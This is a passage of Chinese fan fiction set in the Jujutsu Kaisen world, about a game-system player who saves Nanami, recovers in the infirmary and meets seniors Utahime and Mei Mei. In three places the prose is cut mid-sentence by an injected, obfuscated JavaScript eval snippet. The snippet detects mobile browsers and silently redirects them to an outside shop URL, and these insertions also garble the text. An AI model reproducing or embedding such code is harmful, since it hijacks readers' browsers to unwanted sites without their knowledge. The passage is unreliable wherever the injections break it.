淡蓝色的咒力从他的四肢百骸里疯狂涌出,像一场席卷天地的海啸,瞬间撕裂了领域里粘稠的血雾。 灰蓝碎发被狂风吹得向后扬起,露出他清冷的侧脸,冰蓝眼眸里没有了平日的温度,只剩下一片极致的锐利与决绝,像两汪冻结的冰川,却又在咒力的映照下,泛着令人心悸的光。 他的身体不受控制地抬起手,五指张开,淡蓝色的咒力在掌心汇聚成无数道锋利的剑刃。 那些剑刃并非实体,而是由纯粹的咒力凝聚而成,泛着幽冷的光,像一场即将降临的星雨,悬浮在半空中,将整个领域都映照成了一片冰冷的蓝。 领域深处的本体咒灵发出了一声惊恐的嘶吼,那些疯狂增殖的血肉瞬间停止了蠕动,嵌在上面的无数双浑浊眼睛,此刻都死死地盯着那个立于剑刃之中的少年,充满了恐惧。 它能感觉到,那股力量并非来自这个世界,而是一种足以斩断“存在”本身的恐怖力量。 “这是……什么力量……”咒灵的声音带着一丝颤抖,一丝绝望。 系统操控着望月遥的身体,缓缓抬起头,冰蓝眼眸里没有丝毫波澜,只有一片极致的冷静。 他的嘴唇轻启,声音清冷得像冰刃划过玉石,却又带着一种不容置疑的力量:“断。” 话音未落,悬浮在半空中的无数剑刃突然动了。 一道锁链缠绕着剑柄直冲咒灵。 它们像一场被唤醒的风暴,朝着咒灵的本体飞去,速度快到极致,快到肉眼根本无法捕捉,只能看到一片淡蓝色的残影,在猩红的领域里划出一道道令人心悸的轨迹。 那些剑刃没有发出任何声音,却带着一种足以撕裂一切的力量,连空气都被它们切割得滋滋作响,连领域的壁垒都在它们的冲击下,开始出现一道道细密的裂痕。 咒灵疯狂地嘶吼着,试图用血肉增殖来抵挡那些剑刃,可那些剑刃却像切豆腐一样,轻易地撕裂了它的防御,精准地斩向它的核心。 每一道剑刃落下,都会带走一片血肉,每一片血肉落下,都会化作一缕黑烟,消失在空气里。 系统操控着望月遥的身体,一步步朝着咒灵的本体走去。 他的步伐很稳,每一步都踩在剑刃之上,每一步都伴随着撕裂血肉的声音。 他的身上没有任何防御,任由那些疯狂增殖的血肉划伤他的手臂,刺穿他的肩膀,甚至在他的胸口留下一道深可见骨的伤口,可他连眉头都没有皱一下,只是一味地向前走,向前走,再向前走。 鲜血顺着他的手臂、肩膀、胸口不断地流淌,染红了他的校服,染红了他脚下的剑刃,染红了整个领域。 他的脸色越来越苍白,嘴唇也失去了血色,可他的眼神却越来越亮,越来越锐利,像两汪冻结的冰川,却又在咒力的映照下,泛着令人心悸的光。 “七海……” 他的声音很轻,却像一道惊雷在领域里炸开。 那些悬浮在半空中的剑刃突然改变了方向,朝着领域深处飞去,精准地斩断了那些缠绕在七海建人身上的血肉,为他开辟出一条安全的道路。 七海建人手里拿着一把短刀,这是他发现自己能看到那些东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332745|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后就时常放在身边用来防身的。 他半跪在领域深处的血肉之中,他的手臂被血肉腐蚀得血肉模糊,胸口也被一只低级咒灵抓伤,鲜血顺着他的嘴角不断地流淌。 他能感觉到自己的体力在飞速流逝,能感觉到意识在一点点地模糊。 啧,他就知道,咒术界什么的最麻烦了。 可在他意识即将消散的前一刻,他却清晰地听到了两个字,他的名字,他猛地抬头看向声音传来的地方。 那个熟悉的身影就在前面。 那个性格跳脱奇怪的咒术高专的前辈,此时脸上没有了早上开朗的笑意,冷着一张脸,向他的方向奔来。 “望月前辈……” 这还是那个望月前辈吗,七海不知道。 他只知道看见望月遥的那一瞬间,他浑身紧绷的神经放松了下来。 系统操控着望月遥的身体,转过头,冰蓝眼眸里闪过一丝温柔,一丝歉意。 他的嘴唇轻启,声音清冷得像冰刃划过玉石,却又带着一种不容置疑的力量:“别怕,我来了。” 话音未落,他的身体突然化作一道淡蓝色的闪电,朝着领域深处冲去。 那些剑刃像一道屏障,跟在他的身后,为他挡住了所有扑来的血肉。 他冲到七海建人的面前,将他护在身后,手里的剑刃斜指地面,淡蓝色的咒力在他周身炸开,像一道屏障,挡住了那些扑来的血肉。 “七海,”他的声音很轻,却带着一种不容置疑的力量,“闭上眼睛,别害怕。” 七海建人听话地闭上了眼睛,靠在他的背上,能感觉到他身上的温度,能感觉到他身上的鲜血,能感觉到他身上的力量。 他看不到前面的情况,只能听到望月遥清冷的声音,“破。” 话音未落,悬浮在半空中的无数剑刃突然汇聚成一道巨大的剑刃,朝着咒灵的本体飞去。那道剑刃的速度快到极致,快到肉眼根本无法捕捉,只能看到一片淡蓝色的光,在猩红的领域里划出一道令人心悸的轨迹。 咒灵发出了一声绝望的嘶吼,整个领域开始剧烈地颤抖,那些翻涌的血肉瞬间枯萎,嵌在上面的眼睛也纷纷脱落,化作一缕缕黑烟,消失在空气里。 领域破碎了。 七海建人靠在望月遥的背上,能感觉到他的身体在微微颤抖,能感觉到他的呼吸越来越急促,能感觉到他的意识在一点点地模糊。 “望月前辈……”他的声音很轻,却带着一丝颤抖,一丝担忧。 【检测到咒灵已祓除,解除托管状态。】 “我没事。”望月遥头也没回,只是轻声回复道,他刚刚身体交给了系统控制,虽然不是他操控的,但他能看到‘自己’都干了什么。 他承认他现在有点装了,但他刚刚真的好帅!让他再装一会会吧。 但很可惜,装不到一秒。 【警告,体力值已下降到-100,请玩家及时补充体力,警告,体力值已下降到-100,请玩家及时补充体力。】 望月遥:“你丫的狗系统!” 他还来不及对着系统指指点点,原本就摇摇欲坠的身体直接倒了下来,在最后时刻,他好像看到了一黑一白两个不知道是什么的玩意儿在朝他飞奔而来。 耳边是七海建人的破音的“望月前辈!” 意识沉入黑暗前的最后一秒,望月遥还在心里问候破系统祖宗十八代——早不提醒晚不提醒,非要等他体力值掉到负数才跳出来,简直是故意拆台。 垃圾游戏,毁他青春! 10. 第四天灾的约定 意识沉下去的速度比咒力流失还快。 望月遥最后听见的是七海建人破了音的呼喊,还有系统在脑海里不知死活的提示音——【体力值-100,玩家濒死状态触发保护机制,强制休眠中……】 他想骂,想把那破系统拽出来暴打一顿,可眼皮重得像灌了铅,连抬一下的力气都没有。 再睁眼时,世界是一片晃眼的白。 消毒水的味道像针一样扎进鼻腔,刺得他喉咙发紧,连呼吸都带着细碎的疼。 耳边是输液管滴答的声响,还有旁边传来的、熟悉的指节敲击桌面的声音。 “哟,醒了?” 五条悟的声音还是那么吊儿郎当的,但是脸上却是没有一丝表情。 望月遥偏过头,就看见那家伙靠在窗边的椅子上,墨镜被他摘了下来,随手扔在一边,碧蓝的双眼不含笑意,校服外套搭在臂弯里,露出里面干净的白衬衫,活像个来探病的不良少年。 “我以为黑白无常呢。”望月遥的声音哑得厉害,每一个字都像在砂纸磨过喉咙,“原来是你们呀。” 他现在还有心情插科打诨。 “杰呢,怎么不见他。” “杰啊,”五条悟停下手里的动作,指尖在窗沿敲了敲,“临时被夜蛾老师叫走了,说是京都那边有个特级咒灵跑出来了,他要去处理。”他顿了顿,凑过来,语气不爽,“怎么,醒了先找杰,不先看看我?我可是第一个冲过来抱你的。” 望月遥没理他的贫嘴,只是动了动手指,才发现自己的手腕上缠着厚厚的绷带,连胸口都被纱布裹得严严实实,每一次呼吸都牵扯着伤口,疼得他倒抽一口冷气。 “别乱动,”家入硝子的声音从门口传来,她推开门走进来,白大褂上还沾着点淡淡的药味,“咒力回路都差点烧断,再晚一步,我就得把你拆了重装。” 她走到床边,眉头皱得死紧:“让你做个接引任务还能把自己整成这幅样子。” “你是没看到他们两个浑身是血的过来踹门的样子。” “对了,那个你拼死要救的小子就在隔壁,我记得是叫七海建人?” “嗯。”望月遥应了一声,声音轻了些,“他还没醒?” “早醒了,”家入硝子收起纱布和消毒水,“他伤的可比你轻,再加上一点咒力反噬,那小子倒是懂得感恩,醒了第一句问的是你怎么样,连自己的伤口都没看。” 五条悟在旁边吹了声口哨,本来是调笑的语气却被他说出了一股酸溜溜的味道:“可以啊遥,才这么一会就把我们未来的学弟拿捏得死死的?” “闭嘴。”望月遥瞪了他一眼,冰蓝眼眸里还带着刚醒的朦胧,却依旧透着股清冷的劲儿,“你们要是早来点,我能躺到这儿?” 五条悟不说话了,他和夏油杰赶到现场的时候,只看见消散的领域和站在中间摇摇欲坠的人,浑身是血瞳孔涣散,就这么在他们的面前倒了下去。 有那么一瞬间,他以为他要死了。 家入硝子在旁边瞥了一眼闭嘴的五条悟,不管他,继续收拾自己的东西。 病房里一时安静下来,只剩下输液管的滴答声和窗外风吹树叶的沙沙声。 望月遥看着天花板,脑子里乱糟糟的——他想起领域里那些翻涌的血肉,想起系统操控着他身体时,那些剑刃撕裂空气的声音,想起七海建人红着眼圈喊他前辈的样子,还有最后冲过来的一黑一白两个身影。 夏油杰的咒灵操术,五条悟的无下限术式,在他意识模糊的最后一秒,像两道光一样撞进了那片猩红里。 “对了,”望月遥突然开口,声音很轻,“我昏迷了多久?” “一天一夜,”家入硝子说,“现在是第二天下午,你再睡下去,夜蛾老师都要给你准备追悼会了。” “……”望月遥沉默了两秒,“他敢。” 这个咒术高专什么时候连老师都这么抽象了? “他有什么不敢的,”五条悟凑过来,把脸凑得极近,“他还说,要是你醒不过来,就把你的咒具捐给低年级当教具,让他们天天瞻仰‘第四天灾’的英姿。” 望月遥:“……” 他现在严重怀疑,咒术高专的人,除了他,没一个是正常人。 望月遥在心里又骂了句脏话。 垃圾系统,毁他青春! 家入硝子把病历本合上,“你现在最重要的是养伤,其他的事等你好了再说。对了,夜蛾老师让我告诉你,七海建人已经签了入学意向书,恭喜,你的接引任务虽然出了点差错,但最后还是完成了。” 望月遥愣了一下,随即笑了起来,冰蓝眼眸里漾开一点温柔的光:“他还真是……。” 吓到他了吧。 “好了,我再睡会儿,别吵我。” “睡吧睡吧,”五条悟的声音轻了下来,“我在这儿守着你,没人敢吵你。” 家入硝子也没再多说,轻轻带上门,离开了病房。 病房里又只剩下两个人。 望月遥闭着眼睛,能感觉到五条悟的目光落在他脸上,带着点他看不懂的复杂情绪。 他没睁眼,只是静静地听着身边的呼吸声,还有窗外的风声,心里突然涌起一股久违的安稳。 不知过了多久,他迷迷糊糊地又要睡过去,却听见隔壁病房传来一阵轻微的响动,紧接着,是七海建人略微沙哑的声音:“望月前辈……醒了吗?” 五条悟立刻做了个噤声的手势,对着门口比了个“嘘”的口型,然后轻手轻脚地走了出去。 望月遥睁开眼,看着天花板,嘴角忍不住往上扬了扬。 要死的时候这人还挺贴心的。 夕阳透过窗户,洒在他的脸上,暖得让人犯困。 望月遥闭上眼睛,陷入了沉睡。 再次醒来时,窗外已经是晨光熹微。 暖金色的光线透过百叶窗,在地板上投下斑驳的光影,连带着病房里的消毒水味都淡了几分。 望月遥动了动手指,发现胸口的疼痛已经减轻了不少,只是四肢还带着脱力的酸软。 他偏过头,就看见七海建人坐在床边的椅子上,头一点一点的,显然是守了一夜。 昨夜凌晨的时候,五条悟也被一通电话叫走了,去北海道出任务,望月遥这边没有人看着,他就直接把隔壁的七海建人扔了过来。 跟人沾边的事情他是一点不做,不当人的事情他是样样不落。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332746|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就这样七海建人还没有意见,他还是在自责,所以听到这个白毛猫要他守着望月遥的时候他一点多余的话没说,直接来了。 “醒了?” 七海建人几乎是立刻就清醒了过来,动作麻利地起身去倒了杯温水,递到望月遥唇边:“家入学姐说你醒了要先喝水,我给你温着的。” 望月遥就着他的手喝了两口,温水滑过干涩的喉咙,舒服得他轻叹了一声。 他看着七海建人眼下淡淡的青黑,心里无奈:“你守了一夜?五条悟那家伙也真敢把你扔过来。” “没关系。”七海建人把水杯放在床头柜上,语气认真,“如果不是前辈你,我可能就已经死了,所以仅仅是守夜而已,我应该做的。” “这不是你该做的,七海。”望月遥顿了顿,声音温柔,“你也是个伤患,那家伙居然把你揪了过来,等他回来我找他算账。” 七海建人耳尖微微泛红,别开脸去整理床头柜上的水杯,指尖蹭过杯壁的温度,像极了刚才喂水时触到的、前辈微凉的指尖:“我没关系,只是守夜而已,而且……我也想看着你醒过来。” “家入学姐说你现在只能吃清淡的,等会她会来给你送粥,我就先走了,得回家一趟。” “晚点我再来。” 就在这时,病房门被轻轻推开,家入硝子端着一个白瓷碗走进来,刚好听到了七海最后一句话,“你先去吧,晚点夜蛾老师会去你家和你的家人商讨入学的事情。” 七海建人点点头,离开时把门带上。 病房里又只剩下两个人。 家入硝子把手里的粥放下,靠在墙边,看了会安安静静喝粥的望月遥,突然开口:“有必要这么拼吗。” “你身上的伤口我看了,很多都是可以防住的,但你压根没有去管,所以才这么严重。” 望月遥抬起头,“毕竟他还只是个刚了解咒术界的新人,没有什么自保能力。” “当时的处境很危险,那是效率最高的办法了。” “我知道,”家入硝子的声音轻了些,少了平时的懒散,多了点认真,“但你也要想想自己,你要是出事了,五条悟和夏油杰那两个家伙,能把整个咒术界掀翻。” “怎么可能。”望月遥惊讶。 “怎么不可能。”家入哨子抬眼看向面前的人,一字一句认真道,“要是我有强力的术式,我也会冲出去闹的。” “遥,你还记得吗,你说过的。” “我们四人,缺一不可。” 望月遥一愣。 那是在某一天下午,打闹训练完后的几人躺在一棵大树下,望月遥说的话。 他说:“我们四个人,绝对不能分开,缺了谁都是不完整的!” 说着他坐了起来,伸手戳了戳还躺着的几人,“我说真的哦,你们要是出事了,我哪怕死也要把你们带回来。” 家入哨子挥了挥盖在脸上的树叶,懒洋洋的回道,“是是。” 夏油杰和五条悟也一把拉过坐着的望月遥,“知道了知道了,休息吧。” “我们四个,缺一不可。” “这不是废话吗,我们早都知道了。” 早就说好了的啊。 11. 第四天灾的日常 医务室的消毒水味终于在第五天淡了下去,取而代之的是窗外操场飘来的青草气。 望月遥撑着床头坐起身时,指尖还带着点刚恢复咒力的酥麻,胸口的绷带拆了大半,只留了层薄纱布遮着伤口。 七海建人端坐在一旁写作业,笔尖划过纸页的沙沙声规律得像时钟。 听见动静立刻抬头,手里还攥着支没写完的笔:“前辈,家入学姐说你今天可以下床活动了。” “嗯。”望月遥应了一声,偏头看向窗外,“五条悟和夏油杰呢?又摸鱼去了?” 话音刚落,病房门就被推开,夏油杰拎着个精致的纸盒走进来,黑发梳得整齐,眉眼间还带着刚从任务点回来的倦意,却笑得温和:“刚从涉谷回来,给你带了红豆大福,你现在能吃点甜的了。” “他们说这个口味是卖的最好的,如果不喜欢还有草莓味的。” 他把纸盒放在床头柜上,目光扫过七海建人,“这几天在高专怎么样。”他对这个后辈没什么意见,但到底望月遥是为了救他受的这么重的伤。 七海建人微微欠身,语气依旧沉稳:“劳烦前辈挂心,在高专的这几天一切都好。” “等望月前辈好了我就要回国中完成剩下的课业了。” 他现在还是国三生,高专入学的事项需要等他考完再进行,所以这段时间在高专熟悉环境的同时他也一直在做题。 “倒是比我这个当前辈的还严谨。”望月遥拆开大福的包装,软糯的红豆香漫开来,他咬了一口,甜而不腻的味道在舌尖散开,“对了,硝子呢?她最近很忙吧。” “她在给其他咒术师治疗,让我带个话,你要是敢偷偷用术式,她就回来给你重新包扎,用最疼的手法。”夏油杰拉过椅子坐下,指尖轻轻敲了敲桌面,“北海道的任务收尾了,悟去给夜蛾老师交报告了,晚点过来找你算账。” 望月遥:“……” 他算是看出来了,这俩家伙一个唱红脸一个唱白脸,合起伙来管着他。 又过了半日,家入硝子终于踩着换药的时间过来,检查完后挥了挥手里的报告,懒洋洋道:“可以了,不过这段时间不许剧烈运动,咒力控制在三成以下,不然我就把你绑在病床上。” 家入硝子说完就走了,她很忙,还有其他事情要处理。 她的警告还飘在病房里,望月遥已经撑着胳膊坐起身。 指尖抚过胸口还带着薄茧的纱布,咒力在血管里缓慢流淌,像刚解冻的溪流。 “知道了,怎么把我说的像撒手没一样。”他撇撇嘴,目光落在七海建人的书本上,“收拾一下,我们终于可以出去了。” 七海建人立刻放下笔,动作麻利地把笔记本和笔袋塞进书包,连边角都捋得整整齐齐:“前辈,我帮你拿外套。” 夏油杰靠在椅背上,看着两人默契的样子,眼底漾开温和的笑意,“我送你们过去,顺便跟夜蛾老师说下七海的入学安排。” “还是你靠谱。”望月遥接过七海递来的外套,慢慢套上胳膊,“不像某个人,只会把学弟扔在医务室当看护。” “某个人”刚巧在这时推开门,五条悟飘进来的身影还带着点任务后的风尘,墨镜拉到头顶,那双看狗都深情的眼睛一眨不眨的盯着望月遥。 “哟,趁我不在说我坏话呢遥。” “可怜了我啊,这么担心你,怕你一会儿没人看着我就要在追悼会上见到你了,你居然背着我说我坏话!” “一边去。”望月遥没好气地瞪他,“你再咒我,我就把你藏在储藏室的毛豆大福全喂给咒灵。” 五条悟立刻收了嬉皮笑脸,凑过来搭他的肩膀:“别啊遥,我错了。”他睁着一双卡姿兰大眼睛,就这么可怜巴巴的看着望月遥,试图唤醒他心中的怜惜…… 个蛋啊! 信谁可怜都不能信五条悟! 他不把别人揍到可怜就算了,他自己那是跟可怜这个词半点不沾边。 望月遥没好气地拍开五条悟搭在他肩膀上的手,因为没有对望月遥设防,导致这位最强咒术师踉跄了半步,墨镜都滑到了鼻尖。 “少来这套,你那点小心思我还不清楚,拜托悟,我们可是最了解你什么人了。” “怎么能这么说呢!”五条悟立刻捂住胸口,摆出一副心碎欲绝的模样,那双苍天般澄澈的双眼里甚至还挤出了点水光,“我可是抱着你从市中心跑回了高专啊,累得我咒力都要耗尽了,你居然这么对我!” “来,七海。”望月遥翻了个白眼,扭头看向一边石化的七海建人,“我跟你说,谁咒力耗尽都有可能就是不可能是这个货,以后你就知道了,这货不能信。” 夏油杰在旁边看得直乐,慢悠悠地补刀:“准确来说,是我用咒灵操术清出了路,你抱着人在后面跑,还差点把遥摔进沟里。” 五条悟:“……” 他立刻转头瞪向夏油杰,语气里满是控诉:“杰!你怎么能拆我台!我们可是最佳拍档!” “拍档也不能撒谎。”夏油杰摊手,笑得温和又残忍,“再说了,遥要是真摔进沟里,硝子能把你绑在手术台上解剖三天三夜。” 望月遥靠在床头,看着眼前这俩活宝互掐,只觉得太阳穴突突直跳。 他偏头看向站在旁边的七海建人,少年正端端正正地站着,手里的书半天都没翻页,眼神里满是“我是谁我在哪我为什么要在这里看前辈们演情景剧”的茫然。 完了。 望月遥心里咯噔一下。 他好不容易在七海建人心里建立起来的“靠谱前辈”形象,怕是要被这俩货彻底毁了。 不管旁边这俩互掐,望月遥悄咪咪的蹭到七海建人旁边,小声说道:“七海啊,没关系的,他们虽然不是个正常前辈,但是我是啊,你还有我呢!” 已经石化的七海建人听到耳边望月遥的话,缓缓地扭过头看向身旁声音小到跟蚊子似的的人,这副做贼心虚的姿态更是让他心里一梗。 他怎么就忘了,他身旁这个货,也是个不靠谱的啊! 伟岸的学长形象瞬间碎成了渣渣。 怪他,那天被望月遥最后的倔强迷了眼,戴上了几米厚的滤镜。 忘记了,能有望月遥这种抽象人才的咒术高专里,怎么可能会没有其他抽象崽。 “我现在申请退学还来得及吗。” 七海建人面无表情的提了提笔,平静的说出这句话。 五条悟立刻收了嬉皮笑脸,站直身体,浓浓的压迫感蔓延在整个医务室里,“你说什么亲爱的学弟,请你再说一遍哦。” 开玩笑,遥好不容易把这个难缠的家伙搞进高专来了,居然还想跑?门都没有! 夏油杰也跟着收敛了笑意,脸上挂上了官方微笑,语气温和却莫名的让人压力倍增,“请问七海同学是还有哪里有什么问题吗,都可以和我们沟通的。” 七海建人:“…………” 真是难为你们居然还有正经的一面啊! 他推了推脸上的眼镜,语气沉稳,看不清神色,“开个玩笑,请别当真。” “那么,我先回去了,明天再来探望望月前辈。” 他说着,拿起书包,又仔细检查了一遍床头柜上的水杯和药,确认都放好后,才轻轻带上门,脚步声在走廊里渐渐远去。 他的学长们已经是个顶个的不靠谱了,他不能再成为不靠谱的一员了。 他可靠的要命,真的。 病房里终于安静下来。 望月遥靠在床头,看着眼前的两个活宝,语气里满是疲惫:“你们俩能不能有点前辈的样子?刚在学弟面前丢尽我的脸。” “哪有丢你的脸!”五条悟立刻凑过来,一脸委屈,“我明明是在展示我们高专的‘活泼氛围’!让学弟知道,我们不是那种死板的咒术师。” “活泼到差点把病人摔进沟里?”望月遥挑眉,“不想让我见到明天的太阳直说。” 夏油杰在旁边笑着打圆场:“好了好了,别吵了。” “七海看起来挺稳重的,应该不会被我们这点小打小闹影响,再说了,他以后要在高专待很久,会习惯我们这种相处模式的。” 他也觉得七海不会,但万一呢。 他越想越头疼,伸手揉了揉眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332747|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心:“我好不容易才把他忽悠进高专,你们俩倒好,分分钟就能把我的努力全毁了。” “哪有忽悠。”五条悟不服气,“我们高专可是全日本最好的咒术师培养基地,他肯定会留下来的。” “大不了,伟大的悟大人分他一盒毛豆大福,收了贿赂他就得留下来。” “好办法,下次别提了。”望月遥没好气的戳了戳五条悟,“你一提你那大福倒是提醒我了,你藏柜子里的那盒已经被我标记好了,等会我就拿去喂咒灵。” 五条悟:“…………为什么你还记得这事!” “遥,我错了。”五条悟立刻扑倒在床边,死死抓住望月遥的衣袖,“我分你两盒,不,三盒!放过它们吧,它们只是可怜的毛豆大福啊!” “现在知道错了?”望月遥挑眉,“刚刚怎么不表现好点。” “我那不是一时冲动嘛。”五条悟可怜巴巴地看着他,“我保证,以后在七海面前绝对当个靠谱的前辈,遥~” 望月遥鸡皮疙瘩都要起来了,“去去,正常点。”他也要加入哨子的嫌弃军团了。 夏油杰又开始在旁边补刀:“悟,你现在就很不正经,不然还是把你的毛豆大福都喂咒灵吧。” 五条悟:“……” 他转头瞪向夏油杰,语气里满是控诉:“杰,你哪边的!” “我哪边的都不是。”夏油杰笑的温和又残忍,背后仿佛冒出来一大片黑莲花,“你自己说的哦,要当个靠谱的前辈呢。” 望月遥看着眼前这俩活宝又开始互掐,只觉得太阳穴更疼了。 他伸手拿起枕头,朝着两人砸过去:“你俩都出去,我要睡觉,再吵我就把你们俩都锁在门外!” 五条悟和夏油杰对视一眼,立刻识趣地起身,轻手轻脚地往门口走。 病房里终于彻底安静下来。 望月遥把脸埋进枕头里,只觉得太阳穴突突直跳,连带着胸口的伤口都隐隐作痛。 他原本以为,把那俩活宝赶出去就能清净会儿,结果下一秒,脑海里就炸起了系统那欠揍的机械音—— 【叮!检测到宿主前辈滤镜碎一地现场,触发隐藏成就:《不靠谱前辈天团》!】 【成就奖励:100点体力值,系统专属嘲讽语音包一份~】 【系统88温馨提示:宿主的靠谱前辈人设已碎成二维码,扫一下还能播放五条悟抱人摔沟名场面哦~】 望月遥:“……” 他现在不仅太阳穴疼,连带着咒力回路都开始隐隐发烫,恨不得把这破系统从脑子里拽出来暴打一顿。 “你能不能闭嘴?”他在心里咬牙切齿,“我现在不想听你幸灾乐祸。” 【哎呀,别这么凶嘛~】系统88的声音里满是幸灾乐祸,甚至还配了段欢快的bgm,【我这是在帮你记录高光时刻呢!你想想,以后七海学弟回忆起第一次见前辈们的场景,肯定会说‘哇,我的前辈们好活泼好真实’,这不是一件美事吗。】 “美事个屁。”望月遥翻了个白眼,“七海以后要唯恐避之不及了吧。” 【不会不会~】系统88拍着胸脯保证,【我检测到七海建人的好感度还涨了5点呢,他觉得你‘在不靠谱前辈中显得格外靠谱’,这可是独家滤镜!】 望月遥:“……” 他宁愿不要这独家滤镜。 这算什么矮个子里面拔高个。 “所以你到底为什么这么闲。”望月遥叹了一口气,“你不应该监管着其他内测玩家的情况吗。” 系统88:“……” 【哦,这个。】它的电子音突然就吞吞吐吐起来,墨迹了半天道,【因为你这里特别有意思啊,所以我决定在你这里安个家。】 【哎呀,你先别管这么多了,聊了半天差点把正事给忘了,我来提醒你个事。】 【你的背景被安插了新的补丁,谁叫你又抽了个新的术式嘛,具体是啥我也不清楚,到时候你自己看咯。】 不知道才怪,那就不是啥好背景,它怕被骂它先溜了。 【那你好好养伤吧玩家,我还有事先走了。】 12. 第四天灾与归来的前辈吗 “确定了吗。” “确定了,就是祂。” 京都高层的议事厅像个密不透风的铁盒,檀香烟雾像浓稠的墨,将议事厅浸得发闷,雕花窗棂漏不进半缕光,只余下烛火在老人脸上投下阴鸷的阴影,连呼吸都带着腐朽的冷意。 “呵呵……”坐在上首中心的老者冷笑几声,声音像砂纸磨过枯木,沙哑得刮着耳膜,每一个字都裹着檀香熏不透的阴鸷,“那便……看、好、了。” *** 东京高专的训练场,风卷着晚樱的花瓣落在冰凉的铁栏杆上,带着春日特有的甜腻气息。 刚拆完纱布的望月遥正坐在石墩上,指尖漫不经心地拨弄着训练场边的狗尾巴草,目光追着空中飘飞的樱瓣,连带着冰蓝的眼眸都染了点浅淡的温柔。 “啊……好无聊啊。”望月遥叹了口气,把手边的狗尾巴草一揪一晃,看着空荡荡的操场走神。 “最近哪来的这么多咒灵嘛,需要悟和杰那俩家伙全日本到处跑。” “就连哨子都不怎么出门了。” 他百无聊赖地把狗尾巴草叼在嘴里,刚要掏出手机刷会儿游戏攻略,就听见一阵清脆的高跟鞋声响从训练场门口传来——不是五条悟那种轻飘飘的悬浮感,是实打实的、踩在石板路上的脆响,混着一道懒洋洋的女声,像碎冰撞在玉石上,清冽又带着点漫不经心的挑弄: “哟,这就是硝子嘴里那个‘新来的小家伙‘?看起来确实乖巧,比五条悟和夏油杰那俩家伙顺眼多了。” 望月遥猛地把狗尾巴草吐出来,抬头看向训练场门口,眼睛瞬间亮了半分—— 站在那里的是两道他只在游戏pv里面见过的身影: 右边的少女身形纤细挺拔,穿着一身传统的红白巫女服,黑发红绳,眉眼间藏着几分少女的稚嫩与青涩。 左边是一头浅淡的银蓝色长发的少女,身形高挑,下巴微扬,嘴角挂着似有若无的笑,一身高专制服被她穿得挺拔冷艳,自带早熟的强势气场。 是从国外出任务回来的庵歌姬和九十九由基,两人手里还拎着行李箱,一看就是刚回高专就直奔训练场这边来了。 “哇哦,看起来真乖。”歌姬惊叹道,以前高专只有哨子是她这里的好宝宝,现在可能要多一个了。 “嗯哼,看起来是挺乖的。”冥冥点了点头。 “歌姬前辈,冥冥前辈。”望月遥小跑两步来到两人跟前,乖巧的笑了笑鞠了个躬,“很高兴见到你们!” 庵歌姬:“!” “望月遥是吧?是叫望月遥对吧!”庵歌姬双眼放光,语气激动,双手直接不客气的摸上了软乎乎的脑袋,边揉边问。 “是的,歌姬前辈。”望月遥歪了歪头,轻轻抬眼,冰蓝色的瞳仁里映着暖光,像盛了一小汪春日融雪,嘴角浅浅弯起一点弧度,不明显,却软得人心头发烫:“我叫望月遥哦前辈。” 说完,他也不躲开,反倒就这那双手轻轻的蹭了蹭,像只主动亲近人的小猫。 就这一下—— 庵歌姬整个人当场僵在原地。 下一秒,一股滚烫的热流猛地直冲鼻腔。 她瞳孔微微一缩,下意识抬手捂住鼻子,指缝间瞬间渗出刺目的鲜红。 “……噗——呃!” 温热的液体不受控制地往下淌,连耳尖都唰地爆红,从脸颊一路烧到脖子根。 冥冥在旁边看热闹的脸色一僵,硬币“啪嗒”掉在手心:“……喂,你没事吧?” 庵歌姬僵着身子,手死死捂着鼻子,整个人都处于一种灵魂被萌穿、大脑当场当机的状态,内心疯狂刷屏: 【好、好可爱……】 【这、这这这这也太乖了吧!!】 【悟和杰那两个混账什么时候有过这种表情啊!!】 【我、我不行了……血、血要止不住了——】 她表面绷着前辈的冷脸,实则内心已经被萌到原地螺旋升天,鼻血还在不听话地往下渗,整个人又慌又乱,偏偏还要强装镇定,声音都绷得发紧: “没、没事!只是……天气太干!有点上火!” 望月遥眨眨眼,一脸无辜地看着她,还乖巧地往前凑了凑,担忧地小声问:“歌姬学姐,你还好吗?是不是身体不舒服……” 这一凑,脸更近,萌度直接翻倍。 庵歌姬:“——!!” 鼻血飙得更凶了。 看了全过程的冥冥:“……” 她扶了扶额,无奈的叹了口气,“好了,望月,收一收,歌姬要不行了。” “……哦,好的,冥冥前辈。” “不!完全没有关系!”庵歌姬左手捂住还在流血的鼻子,右手伸出来做了个没关系的手势,“请务必保持这个样子!” 就连哨子都没有过这个样子啊啊啊! 这才是可爱的后辈该有的样子嘛! 庵歌姬急切的开口,声音都带着点破音,“我没事!真的!一点事都没有!就是最近有点干燥,流点鼻血正常!” 